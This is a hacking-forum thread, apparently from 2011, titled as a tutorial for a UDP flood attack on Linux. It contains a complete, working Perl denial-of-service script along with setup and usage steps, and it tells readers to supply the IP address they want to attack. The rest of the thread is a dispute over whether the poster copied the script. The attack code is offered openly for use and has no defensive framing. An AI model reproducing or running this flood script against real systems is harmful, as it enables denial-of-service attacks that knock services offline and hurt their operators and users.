Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TuT] UDP Flood Attack [Linux]

(Jul 12, 2011 05:36 PM)Fuh-Kyu Wrote:  
Leached!
http://blog.ioshints.info/2008/03/udp-fl...-perl.html

Just paste the script into a Google search field...

😠

Ofcourse Copy paste,i dont say this script ME,i say Linux Flood Tutorial.I find this script in Internet.
(Jul 8, 2011 10:07 AM)Anonymous.7654 Wrote:  
UDP Flood Perl Script (Linux)

Author | Anonymous.7654

Start

1.Terminal > type "sudo apt-get install perl"
2.Copy script, paste it into Text Editor, and save it with a .pl file extension (for example, udp.pl)
3.Copy file, paste it into Home Folder
4.Terminal > type "sudo chmod +x ./udp.pl"

Script Code

#!/usr/bin/perl

##
# udp flood.
##

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}


How to use script?

Terminal > type "./udp.pl 127.0.0.1 80 65500 120"

127.0.0.1 = IP you want to attack , 80 = Port , 65500 = Packet Size , 120 = Attack Time

If you want good effect,you need have good Internet Uploud Speed,Good luck

Anonymous.7654



Then you cannot actually claim credit for authoring the script, or is plagiarism defined differently where you live?
(Jul 13, 2011 03:21 PM)Fuh-Kyu Wrote:  

Then you cannot actually claim credit for authoring the script, or is plagiarism defined differently where you live?

Author me because im write Tutorial,but Script not ME.

Credits - http://www.linuxscrew.com/2008/04/10/tin...-flooding/


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Teenage AnarchistSep 17, 2015 06:11 PM 103 9,322 Sep 17, 2015 06:11 PM
Last Post: ΞMINƎM
by DistroJun 29, 2015 08:29 AM 3 183 Jun 29, 2015 08:29 AM
Last Post: Betty Blue
[Ubuntu] by JudeccaMay 16, 2015 07:51 PM 8 329 May 16, 2015 07:51 PM
Last Post: Judecca